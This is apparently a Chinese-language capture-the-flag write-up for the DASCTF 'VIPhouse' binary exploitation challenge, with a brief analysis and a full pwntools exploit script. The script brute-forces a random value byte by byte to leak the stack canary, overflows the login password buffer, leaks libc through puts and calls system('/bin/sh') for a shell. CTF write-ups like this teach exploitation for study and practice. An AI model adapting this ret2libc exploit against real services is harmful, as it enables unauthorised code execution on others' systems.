b4nd1t

DASCTF VIPhouse

保护检查

1690038373175

源码分析

1
2
3
4
5
6
fd = open("/dev/random", 0);
if ( fd >= 0 )
{
read(fd, src, 8uLL);
close(fd);
}

在src中随机赋值

1690038640081

在login中输入密码时可以溢出

1690038729203

猜对了就可以获得canary,此时可以输入16个字节,猜错了会输出我们输入的值,可以顺便把i也打印出来,这样可以通过打印出来的i来判断对了几个字符,可以逐字节爆破

获得canary后就可以在login中进行溢出,在溢出时长度不够并且没有pop_rdi_ret,在内存中有如下片段

1690039021338

这样就可以利用1690039132084来进行传参

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process("./pwn")
#p = remote('124.223.159.125',9999)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got = 0x404030
rdi = 0x401CB3
puts_plt = 0x4011B0
start = 0x4012D0
dest = 0x404130
p.recv()
p.sendline("1")
p.recvuntil("Please enter your username: ")
p.sendline("admin\x00")
p.recvuntil("Please enter your password: ")
p.sendline("root\x00")
rand = ""
i = 0
while(i<8):
j = 0
while(j<0xff):
p.recvuntil("Choose an option: ")
p.sendline("4")
p.recvuntil("Please input the number you guess: \n")

print(i)
if(j + 1 == 10):
j += 1
payload = rand + chr(j + 1) + 'a'*(8 + 7 - i -1) + 'b'
p.send(payload)

tmp = p.recv(1)

if b'W' in tmp:

p.recvuntil("ab")

itsi = p.recv(1)

print(ord(itsi))
if ord(itsi) == i + 1:
rand += chr(j + 1)
print("len of rand:{}".format(len(rand)))
break
else:
print("error")
rand += chr(j + 1)
break
j += 1
if len(rand) == 8:
break
i += 1
p.recvuntil(b"gift!")
canary = int(p.recv(18),16)
print(hex(canary))
p.recvuntil(b"Choose an option: ")
p.sendline(b"3")
p.recvuntil(b"Choice: ")
p.sendline(b"1")
p.recvuntil(b"Enter your note: ")
payload = p64(puts_got)
p.send(payload)
p.recvuntil(b"Choice: ")
p.sendline(b"3")
p.recvuntil(b"Choose an option: ")
p.sendline(b"5")
p.recvuntil(b"Choose an option: ")
p.sendline(b"1")
p.recvuntil(b"Please enter your username: ")
p.sendline(b"admin")
p.recvuntil(b"Please enter your password: ")
payload = b'a'*0x40 + p64(canary) + b'a'*8 + p64(rdi) + p64(puts_plt) + p64(start)
p.send(payload)
libcbase = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00')) - libc.sym['puts']
print(hex(libcbase))
system = libcbase + libc.sym['system']
binsh = libcbase + 0x00000000001d8698
p.recvuntil(b"Choose an option: ")
p.sendline(b"3")
p.recvuntil(b"Choice: ")
p.sendline(b"1")
p.recvuntil(b"Enter your note: ")
payload = p64(binsh)
p.send(payload)
p.recvuntil(b"Choice: ")
p.sendline(b"3")
p.recvuntil(b"Choose an option: ")
p.sendline(b"5")
p.recvuntil(b"Choose an option: ")
p.sendline(b"1")
p.recvuntil(b"Please enter your username: ")
p.sendline(b"admin")
p.recvuntil(b"Please enter your password: ")
payload = b'a'*0x40 + p64(canary) + b'a'*8 + p64(rdi) + p64(system)
p.sendline(payload)

p.interactive()